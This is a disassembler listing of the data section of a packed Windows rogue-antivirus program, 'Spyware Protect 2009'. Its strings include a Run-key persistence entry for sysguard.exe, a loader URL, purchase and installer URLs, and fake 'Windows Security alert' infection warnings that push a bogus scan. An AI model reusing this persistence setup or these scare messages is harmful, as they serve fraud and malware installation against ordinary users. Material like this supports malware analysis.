aSysguard_exe_0: ; DATA XREF: sub_4173E1+76o
unicode 0, <sysguard.exe>,0
align 10h
aSoftwareMicros: ; DATA XREF: sub_4173E1+B0o
unicode 0, <Software\Microsoft\Windows\CurrentVersion\Run>,0
aSysguard: ; DATA XREF: sub_4173E1+E0o
unicode 0, <sysguard>,0
align 10h
aHttpSpywprot_0: ; DATA XREF: sub_4173E1+133o
unicode 0, <http://spywprotect2009.com/loads.php>,0
align 4
a?r: ; DATA XREF: sub_4173E1+15Co
unicode 0, <?r=>,0
a16_0_0: ; DATA XREF: sub_4173E1+172o
unicode 0, <16.0>,0
align 10h
aSoftwareAvscan: ; DATA XREF: sub_417692+69o
unicode 0, <Software\AvScan>,0
aS:
unicode 0, <S>,0
aM:
unicode 0, <M>,0
aD:
unicode 0, <D>,0
aB:
unicode 0, <B>,0
aVal_0:
unicode 0, <Val>,0
aForceremove_0:
unicode 0, <ForceRemove>,0
aNoremove_0:
unicode 0, <NoRemove>,0
align 4
aDelete_2:
unicode 0, <Delete>,0
align 4
aAppid: ; DATA XREF: UPX0:off_423C6Co
unicode 0, <AppID>,0
aClsid_0: ; DATA XREF: UPX0:00423C70o
unicode 0, <CLSID>,0
aComponentCat_0: ; DATA XREF: UPX0:00423C74o
unicode 0, <Component Categories>,0
align 4
aFiletype_0: ; DATA XREF: UPX0:00423C78o
unicode 0, <FileType>,0
align 4
aInterface_0: ; DATA XREF: UPX0:00423C7Co
unicode 0, <Interface>,0
aHardware_0: ; DATA XREF: UPX0:00423C80o
unicode 0, <Hardware>,0
align 4
aMime: ; DATA XREF: UPX0:00423C84o
unicode 0, <Mime>,0
align 10h
off_4239B0 dd offset loc_410053 ; DATA XREF: UPX0:00423C88o
dword_4239B4 dd 4Dh, 450053h, 550043h, 490052h, 590054h, 0aSystem_0: ; DATA XREF: UPX0:00423C90o
unicode 0, <SYSTEM>,0
align 4
aSoftware_0: ; DATA XREF: UPX0:00423C94o
unicode 0, <Software>,0
align 10h
aTypelib_0: ; DATA XREF: UPX0:00423C98o
unicode 0, <TypeLib>,0
asc_423A00: ; DATA XREF: sub_401496+14o
unicode 0, <:>,0
dword_423A04 dd 0 dword_423A08 dd 0 dword_423A0C dd 20646162h, 6F6C6C61h, 69746163h, 6E6FhaShow: ; DATA XREF: sub_418A96+96o
unicode 0, <Show>,0
align 4
aClose: ; DATA XREF: sub_418A96+B0o
unicode 0, <Close>,0
aSettitle: ; DATA XREF: sub_418A96+C6o
unicode 0, <SetTitle>,0
align 4
aDragwindow: ; DATA XREF: sub_418A96+DCo
unicode 0, <DragWindow>,0
align 10h
aResizewindow: ; DATA XREF: sub_418A96+F2o
unicode 0, <ResizeWindow>,0
align 4
aMinimizewindow: ; DATA XREF: sub_418A96+108o
unicode 0, <MinimizeWindow>,0
align 4
aTogglemaximize: ; DATA XREF: sub_418A96+11Eo
unicode 0, <ToggleMaximizeNormalWindow>,0
align 4
aSetopacity: ; DATA XREF: sub_418A96+134o
unicode 0, <SetOpacity>,0
align 4
dword_423AEC dd 0 aRightbottom: ; DATA XREF: sub_417C70+B5o
unicode 0, <rightbottom>,0
aCenter: ; DATA XREF: sub_417C70+FEo
unicode 0, <center>,0
align 4
aMouse: ; DATA XREF: sub_417C70+197o
unicode 0, <mouse>,0
dword_423B24 dd 0 aRes: ; DATA XREF: sub_41889D+BFo
unicode 0, <res://>,0
align 4
asc_423B38: ; DATA XREF: sub_41889D+ECo
unicode 0, </>,0
dword_423B3C dd 10Fh, 0 dd 0C0h, 46000000h, 0BD3F23C0h, 11CFD43Eh, 0AA003B89h
dd 1ACEBD00h, 0B6EA2051h, 11D1048Ah, 0C000B982h, 2E94B94Fh
dword_423B6C dd 0B2D0778Bh, 4C58AC99h, 72E7C8A5h, 0B516534Eh
; DATA XREF: UPX0:off_42DEA4o
dword_423B7C dd 6D5140C1h, 11CE7436h, 0AA003480h, 0FA096000hdword_423B8C dd 0FC4801A3h, 11CF2BA9h, 0AA0029A2h, 52733D00h ; sub_404083+3AEo
dword_423B9C dd 11Bh, 0 dd 0C0h, 46000000h, 0B196B289h, 101ABAB4h, 0AA009CB6h
dd 71D3400h, 119h, 0
dd 0C0h, 46000000h, 9C2CAD80h, 11CF3424h, 0AA0070B6h, 0D8D64C00h
dd 922EADA0h, 11CF3424h, 0AA0070B6h, 0D8D64C00h
dword_423BEC dd 118h, 0 ; sub_4026BE+2Fo ...
dd 0C0h, 46000000h
dword_423BFC dd 3935BDA8h, 495C4ED9h, 1FE05086h, 4B8AE3C1hdword_423C0C dd 0B6EA2050h, 11D1048Ah, 0C000B982h, 2E94B94Fh ; sub_4053D6+4Eo ...
dword_423C1C dd 20400h, 0 ; sub_417E88+Bo ...
dd 0C0h, 46000000h, 114h, 0
dd 0C0h, 46000000h
dword_423C3C dd 115h, 0 ; UPX0:off_423D04o
dd 0C0h, 46000000h
dword_423C4C dd 116h, 0 ; UPX0:off_423CACo
dd 0C0h, 46000000h
dword_423C5C dd 44EC0535h, 11D0400Fh, 0A000CD9Dh, 0D39103C9hoff_423C6C dd offset aAppid ; DATA XREF: sub_408039+1o
; "AppID"
dd offset aClsid_0 ; "CLSID"
dd offset aComponentCat_0 ; "Component Categories"
dd offset aFiletype_0 ; "FileType"
dd offset aInterface_0 ; "Interface"
dd offset aHardware_0 ; "Hardware"
dd offset aMime ; "Mime"
dd offset off_4239B0
dd offset dword_4239B4+4
dd offset aSystem_0 ; "SYSTEM"
dd offset aSoftware_0 ; "Software"
dd offset aTypelib_0 ; "TypeLib"
a32770: ; DATA XREF: sub_40188D+2Co
; sub_408039+19o
unicode 0, <#32770>,0
align 4
off_423CAC dd offset dword_423C4C ; DATA XREF: sub_404F0D+11o
dd 24h, 1, 423C3Ch, 24h, 1, 423C2Ch, 24h, 1, 3 dup(0)
aAxwinFrameWind: ; DATA XREF: sub_404D0B+37o
unicode 0, <AXWIN Frame Window>,0
align 4
off_423D04 dd offset dword_423C3C ; DATA XREF: sub_404FB1+11o
dd 24h, 1, 423C2Ch, 24h, 1, 3 dup(0)
aAxwinUiWindow: ; DATA XREF: sub_404D5C+37o
unicode 0, <AXWIN UI Window>,0
off_423D48 dd offset dword_423C1C ; DATA XREF: sub_4058EE+37o
dd 4Ch, 1, 423C0Ch, 24h, 1, 423BFCh, 24h, 1, 423BECh, 28h
dd 1, 423BDCh, 2Ch, 1, 423BCCh, 2Ch, 1, 423BBCh, 2Ch, 1
dd 423C2Ch, 2Ch, 1, 423BACh, 30h, 1, 423B9Ch, 34h, 1, 423B8Ch
dd 38h, 1, 423B7Ch, 40h, 1, 423B6Ch, 4Ch, 1, 423B5Ch, 4Ch
dd 1, 423B4Ch, 48h, 1, 423B3Ch, 44h, 1, 3 dup(0)
aAtlaxwin80: ; DATA XREF: sub_404725+47o
; sub_41889D+68o
unicode 0, <AtlAxWin80>,0
align 4
aAxwin: ; DATA XREF: sub_404083+293o
unicode 0, <AXWIN>,0
aWm_atlgethost: ; DATA XREF: sub_404725+22o
unicode 0, <WM_ATLGETHOST>,0
aWm_atlgetcontr: ; DATA XREF: sub_404725+2Eo
unicode 0, <WM_ATLGETCONTROL>,0
align 4
aAtlP: ; DATA XREF: sub_406DD8+E8o
unicode 0, <ATL:%p>,0
align 4
aAtlaxwinlic80: ; DATA XREF: sub_404725+EEo
unicode 0, <AtlAxWinLic80>,0
off_423EA4 dd offset dword_41EF34 ; DATA XREF: sub_405074+Do
; sub_406C2A+8Ao
dd 0
dd 1, 3 dup(0)
aMapSetTTooLong db 'map/set<T> too long',0 ; DATA XREF: sub_405CA8+17o
aInvalidMapSetT db 'invalid map/set<T> iterator',0 ; DATA XREF: sub_406130+15o
dd offset dword_4261DC
off_423EF0 dd offset sub_4058EE ; DATA XREF: sub_4057F4+16o
; sub_40587D+Fo
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 58h, 40h, 0
dd offset loc_4058D0
dd offset loc_405974
dd offset dword_425E2C
off_423F04 dd offset sub_401DB8 ; DATA XREF: sub_404EC4+3o
; sub_407031+2Do
dd offset sub_4052ED
dd offset sub_404D56
dd offset nullsub_2
align 8
dd offset dword_425E18
off_423F1C dd offset sub_404F0D ; DATA XREF: sub_404EC4+9o
; sub_407031+33o
dd offset sub_404F75
dd offset sub_404F86
dd offset sub_401DBD
dd offset sub_401E40
dd offset sub_401E40
dd offset sub_401DF9
dd offset sub_401E40
dd offset sub_401E45
dd offset sub_401E01
dd offset sub_401E06
dd offset sub_401E40
dd offset sub_401E40
dd offset sub_401E40
dd offset sub_401E0B
dd offset dword_425D04
off_423F5C dd offset sub_401DB8 ; DATA XREF: sub_404F2C+3o
; sub_40707B+2Do
dd offset sub_405309
dd offset sub_404D56
dd offset nullsub_2
dd offset dword_425CF0
off_423F70 dd offset sub_404FB1 ; DATA XREF: sub_404F2C+9o
; sub_40707B+33o
dd offset sub_404F75
dd offset sub_404F86
dd offset sub_401E11
dd offset sub_401E40
dd offset sub_401E40
dd offset sub_401DF9
dd offset sub_401E40
dd offset sub_401E45
dd offset dword_425B9C
off_423F98 dd offset sub_405074 ; DATA XREF: sub_404FD0+25o
; sub_40500B+4o
dd offset sub_405039
dd offset sub_40504A
dd offset sub_406B27
dd offset sub_406BF2
dd offset sub_40508F
dd offset sub_406C2A
dd offset sub_405325
dd offset dword_4258D8
off_423FBC dd offset sub_404BAF ; DATA XREF: sub_404B59+11o
; sub_418A96+2Eo
dd offset sub_4091D6
dd offset sub_404D56
dd offset nullsub_3
; ---------------------------------------------------------------------------
xor edi, [ecx+41h]
add [edx+7Ah], ah
inc ecx
add ah, al
pop eax
inc edx
loc_423FD7: ; DATA XREF: sub_404B59+17o
; sub_418A96+34o
add [eax-16FFBE82h], cl
ja short loc_42401F
add cl, ch
ja short near ptr loc_424021+2
add [edi+300404Bh], ah
cmp al, [eax+0]
retn
; ---------------------------------------------------------------------------
db 7Fh, 41h, 0
dd offset sub_418A6B
dd offset dword_424F28
off_423FF8 dd offset sub_402032 ; DATA XREF: sub_4057F4+21o
dd offset sub_405EED
dd offset sub_404D56
dd offset sub_402024
dd offset sub_405970
dd offset dword_424F14
off_424010 dd offset loc_405959 ; DATA XREF: sub_4057F4+27o
dd offset loc_405939
dd offset loc_405949
db 0E8h, 29h, 40h
; ---------------------------------------------------------------------------
loc_42401F: ; CODE XREF: UPX0:00423FDDj
add [esi], ah
loc_424021: ; CODE XREF: UPX0:00423FE1j
sub al, [eax+0]
dec edx
sub al, [eax+0]
in eax, dx
sub al, [eax+0]
sbb al, 2Bh
inc eax
add [ecx], bh
sub eax, [eax+0]
push esi
sub eax, [eax+0]
xchg eax, ebp
sub eax, [eax+0]
add [edi+42h], cl
loc_42403F: ; DATA XREF: sub_4057F4+2Eo
add [ebx], al
jb short loc_424083
add dl, al
jno short near ptr loc_424083+4
add [ebp+4D004072h], cl
cmp al, 40h
add [ebx], al
cmp al, [eax+0]
or edi, [edx]
inc eax
add [ecx+3Ah], cl
inc eax
add [edi+4D00404Bh], ah
cmp al, 40h
; ---------------------------------------------------------------------------
db 0
align 8
dd offset dword_424EEC
off_42406C dd offset loc_40722B ; DATA XREF: sub_4057F4+35o
dd offset loc_4071EA
dd offset loc_407190
; ---------------------------------------------------------------------------
cdq
cmp al, [eax+0]
cmpsd
dec ebx
inc eax
add [eax+3Dh], dl
inc eax
loc_424083: ; CODE XREF: UPX0:00424041j
; UPX0:00424045j
add [ebx-23FFBFC6h], ch
cmp al, [eax+0]
jmp near ptr 1A4280CBh
; ---------------------------------------------------------------------------
db 3Ch, 40h, 0
dd offset loc_403C22
dd offset loc_403C2F
dd offset sub_403C4D
dd offset sub_403C4D
dd offset sub_403C55
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 3Ch, 40h, 0
dd offset loc_403D32
dd offset sub_403D50
dd offset loc_403D55
dd offset loc_403D67
dd offset loc_403D79
dd offset loc_403DA8
dd offset loc_403DBA
dd offset sub_403DD3
dd offset sub_403EA4
dd offset sub_403F10
dd offset sub_403F2A
dd offset sub_403F44
dd offset sub_401E40
dd offset sub_403F49
dd offset dword_424ED8
off_4240E8 dd offset loc_407249 ; DATA XREF: sub_4057F4+3Co
dd offset loc_407221
dd offset loc_4071B8
dd offset sub_403D50
dd offset sub_401E40
dd offset sub_403F6F
dd offset sub_403A03
dd offset sub_401E0B
dd offset sub_403F95
dd offset sub_403C4D
dd offset dword_424EC4
off_424114 dd offset loc_40726F ; DATA XREF: sub_4057F4+43o
dd offset loc_40723F
dd offset loc_4071E0
dd offset sub_403FB7
dd offset sub_403FBF
dd offset sub_404067
dd offset dword_424EB0
off_424130 dd offset loc_407283 ; DATA XREF: sub_4057F4+4Ao
dd offset loc_407265
dd offset loc_407217
dd offset loc_4039B0
dd offset sub_404DCF
dd offset sub_40725D
dd offset dword_424E9C
off_42414C dd offset loc_4071AE ; DATA XREF: sub_4057F4+51o
dd offset loc_407186
dd offset loc_407253
dd offset sub_40463E
dd offset dword_424E88
off_424160 dd offset loc_4071D6 ; DATA XREF: sub_4057F4+58o
dd offset loc_4071A4
dd offset loc_407279
dd offset nullsub_4
dd offset nullsub_4
dd offset nullsub_5
dd offset nullsub_2
dd offset nullsub_2
dd offset dword_424E74
off_424184 dd offset loc_40720D ; DATA XREF: sub_4057F4+5Fo
dd offset loc_4071CC
dd offset sub_40717C
dd offset sub_402F6F
dd offset sub_402FAD
dd offset sub_402FF0
dd offset sub_40302C
dd offset sub_403042
dd offset sub_403058
dd offset sub_403077
dd offset sub_403096
dd offset sub_4030B5
dd offset sub_4030E7
dd offset sub_403138
dd offset sub_4031D9
dd offset sub_403246
dd offset sub_403293
dd offset sub_40334D
align 10h
dd offset dword_424E60
off_4241D4 dd offset loc_407235 ; DATA XREF: sub_4057F4+66o
dd offset loc_4071F4
dd offset loc_40719A
dd offset sub_404E09
dd offset sub_404E23
dd offset sub_404E64
dd offset sub_403418
dd offset sub_40348B
dd offset sub_4034A1
dd offset sub_4034C9
dd offset sub_4034F9
dd offset sub_403519
dd offset sub_40353A
dd offset sub_40355A
dd offset sub_40357B
dd offset sub_40359B
dd offset sub_4035C2
dd offset sub_4035EA
dd offset sub_403612
dd offset sub_40363A
dd offset sub_40366A
dd offset sub_4037BF
dd offset sub_4037E7
dd offset sub_40380F
dd offset sub_40381B
dd offset sub_403834
dd offset sub_403852
dd offset sub_403872
dd offset sub_403885
dd offset sub_4038A5
dd offset sub_4038BF
dd offset sub_4038E7
dd offset sub_403901
dd offset sub_403929
dd offset sub_403973
dd offset sub_403993
dword_424264 dd 2 dup(0) ; sub_4066EE+5Ao ...
dd 0C0h, 46000000h
dword_424274 dd 109h, 0 dd 0C0h, 46000000h
dword_424284 dd 7FD52380h, 101B4E07h, 82DAEh, 13C72E2Bh ; sub_404083+C1o
dword_424294 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h ; sub_40154B+1Fo
dword_4242A4 dd 25336920h, 11CF03F9h, 0AA00D08Fh, 136F6800hdword_4242B4 dd 8856F961h, 11D0340Ah, 0C0006BA9h, 0A205D74Fhdword_4242C4 dd 0B196B28Fh, 101ABAB4h, 0AA009CB6h, 71D3400hdword_4242D4 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh ; sub_417FE1+1Eo ...
dword_4242E4 dd 122h, 0 dd 0C0h, 46000000h
dword_4242F4 dd 10Eh, 0 dd 0C0h, 46000000h
dword_424304 dd 0B196B288h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_424314 dd 0BEF6E003h, 101AA874h, 0AA00BA8Bh, 0AB0C3000h
; DATA XREF: sub_40366A+11Ao
dword_424324 dd 113h, 0 ; UPX0:00403D0Fo
dd 0C0h, 46000000h
byte_424334 db 0CCh ; DATA XREF: UPX0:00403CF6o
db 56h, 20h, 1Ch
dd 101B5EF4h, 0AA00C88Bh, 293B3E00h
dword_424344 dd 112h, 0 dd 0C0h, 46000000h
dword_424354 dd 3AF24292h, 11CE0C96h, 0AA00CFA0h, 0B80A6000hdword_424364 dd 127h, 0 dd 0C0h, 46000000h
dword_424374 dd 10Dh, 0 dd 0C0h, 46000000h
dword_424384 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; sub_40983C+28o ...
dword_424394 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh ; sub_41889D+157o
dword_4243A4 dd 20412h, 0 dd 0C0h, 46000000h
dword_4243B4 dd 20401h, 0 dd 0C0h, 46000000h, 4B0048h, 590045h, 43005Fh, 520055h
dd 450052h, 54004Eh, 43005Fh, 4E004Fh, 490046h, 47h, 4B0048h
dd 590045h, 44005Fh, 4E0059h, 44005Fh, 540041h, 41h, 4B0048h
dd 590045h, 50005Fh, 520045h, 4F0046h, 4D0052h, 4E0041h
dd 450043h, 44005Fh, 540041h, 41h, 4B0048h, 590045h, 55005Fh
dd 450053h, 530052h, 0
aHkey_local_mac:
unicode 0, <HKEY_LOCAL_MACHINE>,0
align 4
aHkey_current_u:
unicode 0, <HKEY_CURRENT_USER>,0
aHkey_classes_r:
unicode 0, <HKEY_CLASSES_ROOT>,0
aHkcc:
unicode 0, <HKCC>,0
align 4
aHkdd:
unicode 0, <HKDD>,0
align 4
aHkpd:
unicode 0, <HKPD>,0
align 10h
aHku:
unicode 0, <HKU>,0
aHklm:
unicode 0, <HKLM>,0
align 4
aHkcu: ; DATA XREF: UPX0:00424518o
unicode 0, <HKCU>,0
align 10h
aHkcr: ; DATA XREF: UPX0:off_424510o
unicode 0, <HKCR>,0
align 10h
off_424510 dd offset aHkcr ; DATA XREF: sub_408297:loc_4082F9r
; "HKCR"
dword_424514 dd 80000000h dd offset aHkcu ; "HKCU"
dd 80000001h, 4244E8h, 80000002h, 4244E0h, 80000003h, 4244D4h
dd 80000004h, 4244C8h, 80000006h, 4244BCh, 80000005h, 424498h
dd 80000000h, 424474h, 80000001h, 42444Ch, 80000002h, 424434h
dd 80000003h, 424408h, 80000004h, 4243ECh, 80000006h, 4243C4h
dd 80000005h
aModule: ; DATA XREF: sub_4089CE+16Bo
; sub_408BAA+162o
unicode 0, <Module>,0
align 10h
aModule_raw: ; DATA XREF: sub_4089CE+185o
; sub_408BAA+17Co
unicode 0, <Module_Raw>,0
align 4
off_4245A8 dd offset byte_450052 ; DATA XREF: sub_4089CE:loc_408B91o
; sub_408BAA+1A9o
aGistry:
unicode 0, <GISTRY>,0
align 4
dword_4245BC dd 0 ; sub_40A0E8+2Eo ...
aTrue db 'true',0 ; DATA XREF: sub_408E29+DCo
; sub_408FB6:loc_4091ACo ...
align 4
aPurchase_htm: ; DATA XREF: sub_408D98+Fo
unicode 0, <purchase.htm>,0
align 4
aFirst: ; DATA XREF: sub_408D98+29o
unicode 0, <first>,0
aHandshake: ; DATA XREF: sub_408D98+4Do
unicode 0, <handshake>,0
aSetemail: ; DATA XREF: sub_408D98+64o
unicode 0, <setemail>,0
align 4
aInstallerurl: ; DATA XREF: sub_408D98+7Bo
unicode 0, <installerurl>,0
align 8
aHttpSpywprotec: ; DATA XREF: sub_408E29+1Ao
unicode 0, <http://spywprotect.com/orderint?prodid=1>,0
align 4
aR: ; DATA XREF: sub_408E29+41o
unicode 0, <&r=>,0
a16_0: ; DATA XREF: sub_408E29+57o
unicode 0, <16.0>,0
align 10h
aEmail: ; DATA XREF: sub_408E29+87o
unicode 0, <&email=>,0
aRedir: ; DATA XREF: sub_408E29+C6o
unicode 0, <redir>,0
aSwp2009_full_v: ; DATA XREF: sub_408FB6+52o
unicode 0, <swp2009_full_version.exe>,0
off_4246EE dd offset dword_440000 ; DATA XREF: sub_408FB6+190o
; sub_40F568+1Do ...
dw 6Fh
aWnloadProblem:
unicode 0, <wnload problem>,0
align 8
aCanTDownloadIn: ; DATA XREF: sub_408FB6+1E8o
unicode 0, <Can>
dw 27h
unicode 0, <t download installer, please try later.>
dw 0Ah
unicode 0, <If problem repeated please contact with support. Contact >
unicode 0, <your can find in comfirmation email.>,0
aAlert_htm: ; DATA XREF: sub_4091FA+Fo
unicode 0, <alert.htm>,0
aFstbuttonclick: ; DATA XREF: sub_4091FA+6Ao
; sub_4093B3+6Ao
unicode 0, <fstButtonClick>,0
align 10h
aNetalert_htm: ; DATA XREF: sub_4093B3+Fo
unicode 0, <netalert.htm>,0
align 4
aSetinfo: ; DATA XREF: UPX0:004094E9o
unicode 0, <setInfo>,0
aHtmlmain_htm: ; DATA XREF: sub_409533+Fo
unicode 0, <htmlMain.htm>,0
align 4
aScanbuttonclic: ; DATA XREF: sub_409533+A1o
unicode 0, <scanButtonClick>,0
aPurchase: ; DATA XREF: sub_409533+B6o
unicode 0, <purchase>,0
align 4
aSetscanfile: ; DATA XREF: sub_4098E0+19Fo
unicode 0, <setScanFile>,0
aSetprogressbar: ; DATA XREF: sub_40971E+2Do
unicode 0, <setProgressBar>,0
align 4
aScanstart: ; DATA XREF: sub_40968F+16o
unicode 0, <scanStart>,0
aScanstop: ; DATA XREF: sub_40983C+7Bo
unicode 0, <scanStop>,0
align 4
aAddvirustable: ; DATA XREF: sub_4098E0+230o
unicode 0, <addVirusTable>,0
asc_424958: ; DATA XREF: sub_4098E0+5Bo
unicode 0, <\*>,0
align 10h
a_: ; DATA XREF: sub_4098E0+AAo
unicode 0, <.>,0
a__: ; DATA XREF: sub_4098E0+E9o
unicode 0, <..>,0
align 4
asc_42496C: ; DATA XREF: sub_4098E0+135o
unicode 0, <\>,0
aStatic: ; DATA XREF: sub_409CE5+1Do
; sub_40A0E8+33o ...
unicode 0, <STATIC>,0
align 10h
aSpywareProtect: ; DATA XREF: sub_409CE5+65o
unicode 0, <Spyware Protect 2009>,0
align 4
aWindowsSecurit: ; DATA XREF: sub_409EDC+Ao
unicode 0, <Windows Security alert>,0
align 10h
aWindowsReports: ; DATA XREF: sub_409EDC+3Do
unicode 0, <Windows reports that computer is infected. Antivirus soft>
unicode 0, <ware helps to protect your computer against viruses and o>
unicode 0, <ther security threats. Click here for the scan you comput>
unicode 0, <er. Your system might be at risk now.>,0
align 4
aSwp2009Demo: ; DATA XREF: sub_409FB8+EBo
unicode 0, <SWP2009 demo>,0
align 10h
aAppid_0: ; DATA XREF: sub_40A1A6+Bo
unicode 0, <APPID>,0
dd offset dword_426590
off_424BB0 dd offset loc_4073FB ; DATA XREF: UPX0:00407400o
; UPX0:0041C815o ...
dd offset sub_407328
dd offset sub_407333
dd offset sub_40733E
dd offset sub_407342
dd offset sub_40A1A6
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 73h, 40h, 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 73h, 40h, 0
dd offset loc_4073E3
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 73h, 40h, 0
dd offset dword_426508
off_424BDC dd offset loc_403C1A ; DATA XREF: sub_4077EF+4o
; sub_4089CE+39o ...
dd offset sub_4077E9
dd offset sub_403D50
dd offset sub_40783F
dd offset sub_407A4C
dd offset sub_407823
dd offset dword_42649C
off_424BF8 dd offset sub_404BAF ; DATA XREF: sub_408D98+30o
; ---------------------------------------------------------------------------
setalc
xchg eax, ecx
inc eax
add [esi+4Dh], dl
inc eax
add al, ch
js short loc_424C48
add [ebx], dh
jns short loc_424C4C
add [edx+7Ah], ah
inc ecx
loc_424C0F: ; DATA XREF: sub_408D98+36o
add [eax-77FFBD9Ch], cl
jle short near ptr loc_424C57+1
add cl, ch
ja short loc_424C5B
add cl, ch
ja short near ptr loc_424C5B+4
add [edi+300404Bh], ah
cmp al, [eax+0]
retn
; ---------------------------------------------------------------------------
db 7Fh, 41h, 0
dd offset sub_418A6B
dd offset dword_42641C
off_424C34 dd offset sub_404BAF ; DATA XREF: sub_4091FA+21o
; sub_40927A+4o
dd offset sub_40937F
dd offset sub_404D56
dd offset nullsub_3
dd offset sub_4092D7
; ---------------------------------------------------------------------------
loc_424C48: ; CODE XREF: UPX0:00424C05j
enter 4092h, 0
loc_424C4C: ; CODE XREF: UPX0:00424C09j
or [edx+eax*2+0], ah
loc_424C50: ; DATA XREF: sub_4091FA+27o
; sub_40927A+Ao
mov [esi+41h], bh
add cl, ch
ja short loc_424C97
loc_424C57: ; CODE XREF: UPX0:00424C15j
add cl, ch
ja short near ptr loc_424C97+4
loc_424C5B: ; CODE XREF: UPX0:00424C19j
; UPX0:00424C1Dj
add [edi+300404Bh], ah
cmp al, [eax+0]
retn
; ---------------------------------------------------------------------------
db 7Fh, 41h, 0
dd offset sub_418A6B
dd offset dword_42639C
off_424C70 dd offset sub_404BAF ; DATA XREF: sub_4093B3+21o
; sub_409433+4o
; ---------------------------------------------------------------------------
pop ss
xchg eax, ebp
inc eax
add [esi+4Dh], dl
inc eax
add al, ch
js short loc_424CC0
add [ecx-6Ch], ah
inc eax
add al, cl
xchg eax, edx
inc eax
loc_424C87: ; DATA XREF: sub_4093B3+27o
; sub_409433+Ao
add [eax-77FFBD9Dh], cl
jle short near ptr loc_424CCF+1
add cl, ch
ja short loc_424CD3
add cl, ch
ja short near ptr loc_424CD3+4
loc_424C97: ; CODE XREF: UPX0:00424C55j
; UPX0:00424C59j
add [edi+300404Bh], ah
cmp al, [eax+0]
retn
; ---------------------------------------------------------------------------
db 7Fh, 41h, 0
dd offset sub_418A6B
dd offset dword_42631C
off_424CAC dd offset sub_404BAF ; DATA XREF: sub_409533+1Fo
; sub_40961F+6o
dd offset sub_409BAB
dd offset sub_404D56
dd offset nullsub_3
dd offset sub_40977C
; ---------------------------------------------------------------------------
loc_424CC0: ; CODE XREF: UPX0:00424C7Dj
db 65h
xchg eax, edi
inc eax
add [eax], cl
arpl [edx+0], ax
loc_424CC8: ; DATA XREF: sub_409533+25o
; sub_40961F+Co
mov [esi+41h], bh
add cl, ch
ja short loc_424D0F
loc_424CCF: ; CODE XREF: UPX0:00424C8Dj
add cl, ch
ja short near ptr byte_424D13
loc_424CD3: ; CODE XREF: UPX0:00424C91j
; UPX0:00424C95j
add [edi+300404Bh], ah
cmp al, [eax+0]
retn
; ---------------------------------------------------------------------------
db 7Fh, 41h, 0
dd offset sub_418A6B
dword_424CE4 dd 146h, 0 dd 0C0h, 46000000h, 0
dbl_424CF8 dq 1.5 ; DATA XREF: sub_4098E0+1F4r
off_424D00 dd offset sub_418C98 ; DATA XREF: sub_40DB8F+5r
; sub_40DB8F+Eo ...
dd offset nullsub_1
dd offset nullsub_1
byte_424D0C db 65h, 2Bh, 30h ; DATA XREF: sub_418F1D:loc_418FF7o
; ---------------------------------------------------------------------------
loc_424D0F: ; CODE XREF: UPX0:00424CCDj
xor [eax], dh
; ---------------------------------------------------------------------------
db 2 dup(0)
byte_424D13 db 0 ; CODE XREF: UPX0:00424CD1j
align 8
dbl_424D18 dq 4.195835e6 ; DATA XREF: sub_419871+11r
dbl_424D20 dq 3.145727e6 ; DATA XREF: sub_419871+8r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4198AF+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4198AFo
align 10h
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41AF2B:loc_41B061o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_41AF2B+10Ao
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_41AF2B+FBo
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41AF2B+E3o
align 10h
unicode 0, <H>,0
dd 0Eh dup(0)
dd offset dword_42A034
dd offset dword_4266B0
dd 3Ah
dword_424DB8 dd 3 dup(0) dd offset off_42DC78
dd offset dword_425B68
dword_424DCC dd 3 dup(0) dd offset off_42A014
dd offset dword_424DE0
dword_424DE0 dd 2 dup(0) dd 1, 424DF0h, 424DF8h, 0
dd offset off_42A014
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 424DE0h
dword_424E14 dd 3 dup(0) dd offset off_42A424
dd offset dword_424E28
dword_424E28 dd 2 dup(0) dd 2, 424E38h, 424E44h, 425B4Ch, 0
dd offset off_42A424
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 424E28h
dword_424E60 dd 0 dd 4Ch, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424E74 dd 0 dd 48h, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424E88 dd 0 dd 44h, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424E9C dd 0 dd 40h, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424EB0 dd 0 dd 38h, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424EC4 dd 0 dd 34h, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424ED8 dd 0 dd 30h, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424EEC dd 0 dd 2Ch, 0
dd offset off_42B340
dd offset dword_424F3C
dd 0
dd 28h, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424F14 dd 0 dd 24h, 0
dd offset off_42B340
dd offset dword_424F3C
dword_424F28 dd 3 dup(0) dd offset off_42B340
dd offset dword_424F3C
dword_424F3C dd 0 ; UPX0:00424E84o ...
dd 1, 27h, 424F50h, 0
dd offset off_4258A8
dd offset off_424FF0
dd offset off_425858
dd offset off_42583C
dd offset off_425820
dd offset off_4257DC
dd offset off_426050
dd offset off_426090
dd offset off_426100
dd offset off_4260CC
dd offset off_42574C
dd offset off_425730
dd offset off_425714
dd offset off_4256C0
dd offset off_4256A4
dd offset off_4255C8
dd offset off_4255AC
dd offset off_425590
dd offset off_425574
dd offset off_425558
dd offset off_425504
dd offset off_4254E8
dd offset off_425458
dd offset off_42543C
dd offset off_425420
dd offset off_425390
dd offset off_425374
dd offset off_425358
dd offset off_425304
dd offset off_4252E8
dd offset off_425294
